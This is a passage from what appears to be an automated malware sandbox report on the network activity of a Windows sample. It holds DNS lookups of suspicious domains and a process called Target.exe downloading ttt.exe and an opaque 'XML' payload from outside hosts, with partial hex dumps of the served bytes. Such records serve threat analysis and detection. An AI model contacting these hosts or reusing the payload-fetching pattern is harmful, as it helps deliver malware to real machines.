Apr 23, 2024 23:02:24.636548042 CEST	49869	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:24.636565924 CEST	49869	443	192.168.2.4	23.11.231.163

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 23:02:03.438343048 CEST	192.168.2.4	1.1.1.1	0xacb3	Standard query (0)	gjhfhgdg.insane.wang	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:05.334872961 CEST	192.168.2.4	1.1.1.1	0x97f0	Standard query (0)	starsmm.org	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:12.382086992 CEST	192.168.2.4	1.1.1.1	0x22c4	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:12.383533001 CEST	192.168.2.4	1.1.1.1	0xa3a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Apr 23, 2024 23:02:15.775135994 CEST	192.168.2.4	1.1.1.1	0xc453	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:15.775382996 CEST	192.168.2.4	1.1.1.1	0x7eda	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Apr 23, 2024 23:02:16.031294107 CEST	192.168.2.4	1.1.1.1	0x23bd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.035054922 CEST	192.168.2.4	1.1.1.1	0x4e0b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Apr 23, 2024 23:02:16.819279909 CEST	192.168.2.4	1.1.1.1	0x3e3d	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.819915056 CEST	192.168.2.4	1.1.1.1	0xb340	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Apr 23, 2024 23:02:16.835944891 CEST	192.168.2.4	1.1.1.1	0x60ae	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.836344004 CEST	192.168.2.4	1.1.1.1	0x4120	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Apr 23, 2024 23:02:16.849159002 CEST	192.168.2.4	1.1.1.1	0x5259	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.849337101 CEST	192.168.2.4	1.1.1.1	0xbcf9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Apr 23, 2024 23:02:19.899136066 CEST	192.168.2.4	1.1.1.1	0xbb0e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:19.899564981 CEST	192.168.2.4	1.1.1.1	0xed19	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 23, 2024 23:02:25.567841053 CEST	192.168.2.4	1.1.1.1	0xcb19	Standard query (0)	xot.traxa41.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:25.567991972 CEST	192.168.2.4	1.1.1.1	0x6391	Standard query (0)	xot.traxa41.net	65	IN (0x0001)	false
Apr 23, 2024 23:02:25.858078957 CEST	192.168.2.4	1.1.1.1	0xcdb0	Standard query (0)	xot.traxa41.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:25.858218908 CEST	192.168.2.4	1.1.1.1	0xb36b	Standard query (0)	xot.traxa41.net	65	IN (0x0001)	false
Apr 23, 2024 23:02:27.461056948 CEST	192.168.2.4	1.1.1.1	0x6e89	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.461270094 CEST	192.168.2.4	1.1.1.1	0x8ef0	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Apr 23, 2024 23:06:06.101073027 CEST	192.168.2.4	1.1.1.1	0x9af9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:06.101205111 CEST	192.168.2.4	1.1.1.1	0xf8b5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 23:02:03.970191956 CEST	1.1.1.1	192.168.2.4	0xacb3	No error (0)	gjhfhgdg.insane.wang		185.196.10.233	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:05.761044979 CEST	1.1.1.1	192.168.2.4	0x97f0	No error (0)	starsmm.org		179.43.170.230	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:12.489298105 CEST	1.1.1.1	192.168.2.4	0x22c4	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:12.490451097 CEST	1.1.1.1	192.168.2.4	0xa3a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:15.881972075 CEST	1.1.1.1	192.168.2.4	0xc453	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:15.881972075 CEST	1.1.1.1	192.168.2.4	0xc453	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:15.882076979 CEST	1.1.1.1	192.168.2.4	0x7eda	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Apr 23, 2024 23:02:16.138128042 CEST	1.1.1.1	192.168.2.4	0x23bd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.138128042 CEST	1.1.1.1	192.168.2.4	0x23bd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.141091108 CEST	1.1.1.1	192.168.2.4	0x4e0b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Apr 23, 2024 23:02:16.925704002 CEST	1.1.1.1	192.168.2.4	0x3e3d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:16.925704002 CEST	1.1.1.1	192.168.2.4	0x3e3d	No error (0)	googlehosted.l.googleusercontent.com		172.253.124.132	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.927172899 CEST	1.1.1.1	192.168.2.4	0xb340	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:16.942164898 CEST	1.1.1.1	192.168.2.4	0x60ae	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:16.943372965 CEST	1.1.1.1	192.168.2.4	0x4120	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:16.955661058 CEST	1.1.1.1	192.168.2.4	0x5259	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.955661058 CEST	1.1.1.1	192.168.2.4	0x5259	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:16.958005905 CEST	1.1.1.1	192.168.2.4	0xbcf9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Apr 23, 2024 23:02:20.005803108 CEST	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	www.google.com		172.253.124.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:20.005803108 CEST	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	www.google.com		172.253.124.99	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:20.005803108 CEST	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	www.google.com		172.253.124.105	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:20.005803108 CEST	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	www.google.com		172.253.124.103	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:20.005803108 CEST	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	www.google.com		172.253.124.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:20.005803108 CEST	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	www.google.com		172.253.124.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:20.006598949 CEST	1.1.1.1	192.168.2.4	0xed19	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 23, 2024 23:02:25.805850983 CEST	1.1.1.1	192.168.2.4	0xcb19	No error (0)	xot.traxa41.net	addons.i7con.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:25.805850983 CEST	1.1.1.1	192.168.2.4	0xcb19	No error (0)	addons.i7con.net		23.106.238.238	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:25.872145891 CEST	1.1.1.1	192.168.2.4	0x6391	No error (0)	xot.traxa41.net	addons.i7con.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:26.058263063 CEST	1.1.1.1	192.168.2.4	0xb36b	No error (0)	xot.traxa41.net	addons.i7con.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:26.087295055 CEST	1.1.1.1	192.168.2.4	0xcdb0	No error (0)	xot.traxa41.net	addons.i7con.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:26.087295055 CEST	1.1.1.1	192.168.2.4	0xcdb0	No error (0)	addons.i7con.net		23.106.238.238	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	plus.l.google.com		142.250.105.139	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	plus.l.google.com		142.250.105.100	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	plus.l.google.com		142.250.105.113	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	plus.l.google.com		142.250.105.102	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	plus.l.google.com		142.250.105.138	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567378044 CEST	1.1.1.1	192.168.2.4	0x6e89	No error (0)	plus.l.google.com		142.250.105.101	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:02:27.567452908 CEST	1.1.1.1	192.168.2.4	0x8ef0	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 23:06:06.209856987 CEST	1.1.1.1	192.168.2.4	0xf8b5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Apr 23, 2024 23:06:06.210063934 CEST	1.1.1.1	192.168.2.4	0x9af9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:06.210063934 CEST	1.1.1.1	192.168.2.4	0x9af9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:41.237893105 CEST	1.1.1.1	192.168.2.4	0xafe	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:41.237893105 CEST	1.1.1.1	192.168.2.4	0xafe	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:42.242048979 CEST	1.1.1.1	192.168.2.4	0xafe	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:42.242048979 CEST	1.1.1.1	192.168.2.4	0xafe	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:43.242507935 CEST	1.1.1.1	192.168.2.4	0xafe	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 23:06:43.242507935 CEST	1.1.1.1	192.168.2.4	0xafe	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	179.43.170.230	80	7384	C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 23:02:05.994155884 CEST	68	OUT	GET /ttt.exe HTTP/1.1 Host: starsmm.org Connection: Keep-Alive
Apr 23, 2024 23:02:06.215800047 CEST	262	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Mon, 22 Apr 2024 12:50:20 GMT accept-ranges: bytes content-length: 66560 date: Tue, 23 Apr 2024 21:02:06 GMT server: LiteSpeed
Apr 23, 2024 23:02:06.215842009 CEST	1289	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd."0 @ @`@@
Apr 23, 2024 23:02:06.215882063 CEST	1289	IN	Data Raw: 20 19 00 85 00 01 00 48 20 00 00 00 00 96 00 48 03 8d 00 05 00 a0 20 00 00 00 00 83 18 f1 03 06 00 05 00 a8 20 00 00 00 00 93 08 a7 03 91 00 05 00 d4 20 00 00 00 00 93 08 7f 00 96 00 05 00 db 20 00 00 00 00 93 08 8b 00 9b 00 05 00 e3 20 00 00 00 Data Ascii: H H !!n)19AIQYaiqy
Apr 23, 2024 23:02:06.215922117 CEST	1289	IN	Data Raw: 70 61 74 69 62 69 6c 69 74 79 41 74 74 72 69 62 75 74 65 00 76 61 6c 75 65 00 48 69 64 65 72 2e 65 78 65 00 64 77 53 69 7a 65 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 56 65 72 73 69 6f 6e 69 6e 67 00 46 72 6f 6d 42 61 73 65 36 34 53 74 72 Data Ascii: patibilityAttributevalueHider.exedwSizeSystem.Runtime.VersioningFromBase64StringGetStringFreeHGlobalMarshalSystem.ComponentModelkernel32.dllProgramSystemresourceManMainSystem.ConfigurationSystem.GlobalizationActionSystem.Refl
Apr 23, 2024 23:02:06.215960979 CEST	1289	IN	Data Raw: 6f 75 72 63 65 73 2e 52 65 73 6f 75 72 63 65 52 65 61 64 65 72 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d Data Ascii: ources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADPb6NpPAADaTwAAYZhwJc31ywHPQgbhl4iqKPC9P/W2U+iU80k6VXrgeJAAAAAA4ZE4xgZ
Apr 23, 2024 23:02:06.216001034 CEST	1289	IN	Data Raw: 7a 51 4a 48 79 53 63 4e 67 62 44 68 41 69 6a 4c 55 55 79 73 72 45 53 59 50 52 73 69 2b 54 67 4f 57 78 42 49 48 35 5a 52 64 4c 71 33 41 48 57 44 39 39 72 57 47 57 5a 6f 39 75 31 78 63 74 31 71 4a 79 37 64 4c 37 69 4f 72 56 6a 51 53 63 51 51 46 4d Data Ascii: zQJHyScNgbDhAijLUUysrESYPRsi+TgOWxBIH5ZRdLq3AHWD99rWGWZo9u1xct1qJy7dL7iOrVjQScQQFMSK/L5ON0hy+BKf5j9a8IrphmbFoyJ92PQ7qf8E6s/RbdbfR97731lCgmLVzFj2pwpK2OYtZO0mdMPE84a8B12JpY0XKHv6pNWthKBDUnudiJyFUXtJtYTEKggO6zD59dS788qU71VlE1HMNzg9YZ1qfb0pofF79Os
Apr 23, 2024 23:02:06.216039896 CEST	1289	IN	Data Raw: 56 67 37 7a 36 71 71 6d 6b 35 45 32 6a 50 36 70 5a 62 4a 56 6f 4e 64 64 5a 46 45 4b 78 6e 48 47 30 74 35 76 4a 47 54 38 46 49 52 75 4e 70 44 53 4c 57 6c 73 4d 67 6d 77 50 32 56 6e 50 58 71 58 75 6b 45 68 59 4b 46 58 79 50 6a 56 45 53 68 66 32 7a Data Ascii: Vg7z6qqmk5E2jP6pZbJVoNddZFEKxnHG0t5vJGT8FIRuNpDSLWlsMgmwP2VnPXqXukEhYKFXyPjVEShf2zdTxo3iuuRI8JVV6cfRfPf/6S2S2Z1fRk8oBDtvrAz2jkkJxInGa1zg5hvERX/QFZ+8K6kRaVnnfXWhygAXiTMohjw+YLam4xiAfsY1Qw0mBngp4RTf9Sbj2C5WqiOJESG7ddMBso12mSoaDKvVJPTKz9ARVGAEMtz
Apr 23, 2024 23:02:06.216078997 CEST	1289	IN	Data Raw: 6f 4e 51 2b 73 4a 55 67 72 32 5a 48 4e 62 57 48 42 6e 45 56 55 50 62 79 49 45 41 76 34 48 4e 73 61 33 58 51 37 42 2f 71 4c 78 70 63 4a 58 78 42 69 71 32 49 52 2b 77 77 39 52 75 57 37 45 34 46 62 31 74 32 59 63 4a 37 56 50 48 4c 42 6e 49 58 71 47 Data Ascii: oNQ+sJUgr2ZHNbWHBnEVUPbyIEAv4HNsa3XQ7B/qLxpcJXxBiq2IR+ww9RuW7E4Fb1t2YcJ7VPHLBnIXqGPtE14S354k3ntIw/XoQoq4g331+37QW7cWiJ28mHcPJLojQlqAsT+vmLSR75Nl2Q/rkYMp3BHjfYEqhdm7IJO98LmD5fvIr3osVkNgKqzTcXacjxiHljLBGEqDQI1pmM10zhqECZ3YW7G/6XdXaQZv3nWgDxdFAgY
Apr 23, 2024 23:02:06.216136932 CEST	1289	IN	Data Raw: 6e 57 49 33 78 4a 58 45 6d 6e 52 67 76 33 69 33 48 68 58 65 6f 56 53 31 69 79 59 78 57 49 44 33 63 4c 37 70 61 5a 6d 35 53 49 55 4a 7a 32 37 4c 42 74 52 4b 69 35 2f 63 49 38 67 70 71 54 52 34 44 67 41 4b 48 44 51 57 5a 6a 78 71 34 76 32 75 4f 47 Data Ascii: nWI3xJXEmnRgv3i3HhXeoVS1iyYxWID3cL7paZm5SIUJz27LBtRKi5/cI8gpqTR4DgAKHDQWZjxq4v2uOGIerBvghzCIaxW8HfUY/Sqbq3Dk8LQDT3lzdT/Yb3tGAws9xY538zMzV5e0d5P1ekDwHeCwwitLZKt1EdZxKMjZv/yErv4BoEDBYnN6DcvVB9+G3orNJUJl6NX8LvRonx4SnezyxPypMShNEb/+1k4DNn5l3nGYkBs
Apr 23, 2024 23:02:06.216176033 CEST	1289	IN	Data Raw: 31 43 61 31 46 56 76 64 62 4b 70 70 43 69 4f 59 69 2b 36 42 72 34 2b 55 6d 4c 31 64 74 6c 4b 31 6d 69 55 51 62 68 46 52 52 52 50 4b 31 4d 45 35 61 43 7a 63 6c 32 48 56 4d 4f 34 36 36 55 4a 59 70 32 50 4f 39 30 30 53 4c 74 70 57 64 4c 32 35 6c 4a Data Ascii: 1Ca1FVvdbKppCiOYi+6Br4+UmL1dtlK1miUQbhFRRRPK1ME5aCzcl2HVMO466UJYp2PO900SLtpWdL25lJdDXlrd8qg2H7V9r8d4c5lk0hQZH6y7JWG2bXY2Xg2mvIaq5Rm09Fg5DnVV+EmaFDnTa4WpAwD0FPRBV2DQ0fiVENAtHkvLw/kkQ0I9Typ7c/3uRiiFlxn8m8YCt9n1j6BnXBKHUcklTwovCRr7EMBO7ME4IOVpplg
Apr 23, 2024 23:02:06.437783957 CEST	1289	IN	Data Raw: 70 63 6a 43 48 75 46 62 43 6a 6e 6b 72 78 63 65 32 71 64 59 44 6f 50 73 4e 79 50 48 59 4c 6c 54 48 4f 7a 73 71 47 34 32 43 6c 47 30 63 68 6a 74 59 2b 71 67 34 57 6c 43 54 57 64 43 46 5a 4f 66 2b 41 69 61 46 43 45 36 78 56 67 47 47 61 35 67 63 59 Data Ascii: pcjCHuFbCjnkrxce2qdYDoPsNyPHYLlTHOzsqG42ClG0chjtY+qg4WlCTWdCFZOf+AiaFCE6xVgGGa5gcYJPgOCTq3eaGjnBl1suLP0kDMNTa/9Pz8Z+uB3FWLOnGt37vCio/UjI+pL/3Z565rMBuJn9iJ4IB/YYUMu6RKG5eABjEKRARl2HZ97DNEZHx/X0h6Q7WQTwVZ4idwwg1dlVWVsnJjN1gGnv9VSJaF7vMmWWg1tytqm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	185.196.10.233	80	7384	C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 23:02:06.566987991 CEST	81	OUT	GET /dll/ghghghgfg.xml HTTP/1.1 Host: 185.196.10.233 Connection: Keep-Alive
Apr 23, 2024 23:02:06.784657001 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Mon, 22 Apr 2024 19:37:35 GMT ETag: "23f2d8-616b491c253a2" Accept-Ranges: bytes Content-Length: 2355928 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/xml Data Raw: 8f e5 86 68 07 b0 5d bc 1c bc a6 3a 68 3d ac 64 fe 14 e7 b1 17 c3 17 ff 55 2e bf de 5e 5d ab 66 f6 a7 f4 81 28 cd 21 24 2e 49 a3 9c 9b 0a 43 97 68 a1 93 50 d7 db ad d9 30 c2 9b eb 56 26 58 d9 2e 53 1d 24 45 dd 7f 06 c8 4a 4d 65 32 19 03 53 2c 5d 14 7e 72 04 a9 54 93 63 86 83 69 88 56 25 2b 7c c0 dd 95 89 42 45 43 88 19 95 99 f1 1b 5c f5 c2 7b 43 b1 87 dd c3 64 db 2a 94 92 51 56 e3 c9 67 19 21 49 bd 7b fa 4e 1a 16 ac 10 62 fc c6 84 a5 a9 e5 71 d4 8e c4 4d af 72 7e 35 50 1a bc b1 1a 9d 17 24 43 f7 9c d2 f8 f5 69 af 01 87 0a f4 35 57 e4 60 a9 21 e1 32 9b 49 a8 48 20 fc e3 f6 95 67 89 16 e3 d6 63 99 eb da be 2a 9f 26 9e b3 c6 69 c0 3e fc 1e 55 72 da 7f 3a f3 e1 a9 e1 72 ac 45 b6 5a a1 48 f6 5a 89 aa 85 d6 e7 81 05 ca 5f 74 c2 e7 28 da 18 08 c1 80 24 e5 fb 5d cd 10 20 88 84 e4 3f 91 4f da 7e 26 c9 59 ec be 02 ec 8d 71 1b 24 7c 59 ed dc 5c a8 3e 4e 5d 24 0d fe 4c 42 98 38 51 a5 07 48 7f ad f3 1e 43 3d cb a0 50 73 18 a5 ba 0a ea 4b 5a f4 a6 00 4f ef 95 3a 96 98 3e 6f 2e 29 1c 38 1e cd 05 c6 45 f7 fe 58 3a 03 bc f6 cf 1f a7 53 73 3c 4b b3 66 a6 f8 51 2d 9c 08 f9 12 06 1a 52 c9 25 cd da 4a f1 fb 61 49 04 ae e4 1c ec c5 26 9a 81 fe b2 a9 c9 6e c5 9a 0e 37 b7 43 39 46 86 07 ed 1e d6 84 9b 2c 23 c9 e9 21 10 75 78 1b ad 2f 38 bf 98 76 db c0 7c bb d2 90 d7 51 24 1c 26 f4 b7 68 09 bd cd eb 40 bb 2e fd d9 7b 17 e0 56 e2 72 3b 05 a1 a5 dd a5 4b ec 35 ac d3 87 03 d9 33 98 c2 72 24 59 64 d3 2d e2 b1 79 2c 4d 97 5c 59 20 7b 31 25 9f f1 6f 41 be 7b 87 2f ca f0 5a 1f cd ce 94 93 e7 f5 60 2e 7a 82 b3 5a 63 22 02 a8 6f a4 b8 68 be 9d ee 7c be 09 01 e4 09 bc e8 1c 9c 98 27 ee aa 5f 40 1e e0 da 80 83 0a e7 af 80 ee 46 e5 75 e6 12 ab d1 23 34 d3 48 b4 c5 fb 4f ef 9b a7 c1 73 ce 11 83 4e d2 5f 9a 82 0b 63 2c 1b 3e 4a e9 29 b5 63 c7 44 01 5a 87 0b 66 fc 0f c8 2b 26 2a c0 4a 90 42 a4 f4 70 e6 f1 a2 4d 24 21 98 11 de c8 21 21 77 2a a2 dc f7 8b 07 6a 82 36 48 31 3b 54 2e 65 b6 1f 85 05 fc 42 07 09 63 ca 7a 2a 3a 58 45 ec b6 72 b1 b7 3d b8 3f 4a 08 33 26 76 e0 c8 8e 80 dd e6 d0 02 98 c9 25 68 de ed 5c 2b a7 11 23 36 cd 3d 75 14 71 81 f9 13 a6 54 58 fa c4 2d ac 98 f5 77 f7 ea d0 24 dc 28 66 c5 d7 ca 8e 4b 2a 4e db d0 d7 23 0d c7 43 68 76 f5 d3 b3 9c 2f 36 ce bc 05 9d 1f 71 8a 8e 61 8c f3 41 cd 79 cb bb 38 8e ff 76 c1 f6 47 a1 4c f0 10 7c 46 c2 54 ee f0 e2 de a4 80 0d 8d df 4b 00 e7 c7 b6 6e 74 3c e4 da 92 c4 8f c7 ba ce 77 0c d3 9d ff 8a 8c 86 f0 3e be d4 81 cb 7c f1 f1 a2 f4 43 cc da c5 a6 94 85 2c ad 42 9b 23 84 6c 48 fe eb 58 c2 ed 0d c2 df f1 28 39 78 d6 b3 63 ed 7e ce cd 79 6c 4a 2f 36 8c fd 9b 45 0a 8e e5 e1 10 23 50 9e 53 6a 1e ac 00 12 67 76 51 ec b5 5e c1 3f bc 25 a7 f7 44 d7 05 9f ea db 50 06 54 1e ed 47 1f c7 f4 4f 51 21 8f 2b 93 f7 55 40 56 ca 45 ac 70 08 15 9b c1 3d 10 c0 be ae 27 f5 74 34 a3 6b 99 79 92 c8 bb 02 2a f2 37 8d fe 92 24 7f f1 0a b1 d1 fd bf b4 fa 5d 89 13 7f 87 d4 d5 3d 4d d7 ca 97 a8 48 3b d7 fe fa 49 e1 02 3c da 01 d7 0e 76 d7 35 df b3 1b 18 58 64 b4 39 Data Ascii: h]:h=dU.^]f(!$.IChP0V&X.S$EJMe2S,]~rTciV%+\|BEC\{CdQVg!I{NbqMr~5P$Ci5W`!2IH gc&i>Ur:rEZHZ_t($] ?O~&Yq$\|Y\>N]$LB8QHC=PsKZO:>o.)8EX:Ss<KfQ-R%JaI&n7C9F,#!ux/8v\|Q$&h@.{Vr;K53r$Yd-y,M\Y {1%oA{/Z`.zZc"oh\|'_@Fu#4HOsN_c,>J)cDZf+&JBpM$!!!wj6H1;T.eBcz:XEr=?J3&v%h\+#6=uqTX-w$(fKN#Chv/6qaAy8vGL\|FTKnt<w>\|C,B#lHX(9xc~ylJ/6E#PSjgvQ^?%DPTGOQ!+U@VEp='t4ky*7$]=MH;I<v5Xd9
Apr 23, 2024 23:02:06.784722090 CEST	1289	IN	Data Raw: 54 34 1d 14 05 92 54 f6 2d e4 51 4e 26 11 07 a1 71 91 fa 5f b0 d6 40 18 c1 ef f5 e7 e1 51 66 1e 71 e0 0f 2c b9 15 95 5a 6a 1a 44 1a be ad 4f 0a 8a e3 e5 d5 05 09 c7 31 11 89 f3 71 a3 51 88 40 8b 84 3f ed 60 2b f7 08 de aa 68 38 83 db 71 b5 d5 cb Data Ascii: T4T-QN&q_@Qfq,ZjDO1qQ@?`+h8qWN<D,cgW}aG\|Ja1xa]0dBv0o :1-YwnnV4]Krg'`nQA"sj=tU1AG9m~BHBK\?<Ql<
Apr 23, 2024 23:02:06.784765959 CEST	1289	IN	Data Raw: 72 3a c8 60 19 b2 de 85 21 97 49 08 0b 1f 55 e7 91 ad 70 95 5e 44 a0 50 cf c0 24 23 d4 73 59 0e 46 25 64 89 5f e7 70 f6 d0 87 ce df 14 b7 db 64 a8 d0 69 d2 f8 b9 4b 1e c3 6a 08 3f 2e c1 29 2e e7 04 8b 64 d4 c7 09 54 d8 58 1f 61 87 79 b6 f3 ec a9 Data Ascii: r:`!IUp^DP$#sYF%d_pdiKj?.).dTXay9_fQh%puJTR@j/YsiKbxAb*o~x.UL4w\,\&$ZSp.6>5Y"Lv'sE) R{\|n`{m`uAKR
Apr 23, 2024 23:02:06.784806967 CEST	1289	IN	Data Raw: b2 eb 95 8e d7 f9 e3 06 fc fb ab a7 7d f3 65 81 37 a8 12 31 70 48 53 ec d6 2f 02 4e 0a 8f 29 7d 70 51 e0 2c e9 ae 36 42 5c 42 6a 99 23 d0 b4 f9 1d c6 4a 47 7b d2 0b f5 e7 8e ca e4 29 dd 62 fc 7a b8 2a d8 04 0e d3 7c 45 80 e2 ad fa a3 c9 1d 10 a7 Data Ascii: }e71pHS/N)}pQ,6B\Bj#JG{)bz*\|E^\0V_VbIUFH;ehEAVD>Ws]Rz:hDd'j}h=e85=>Q{^Sh)KHzs9~ALDe%j,#<
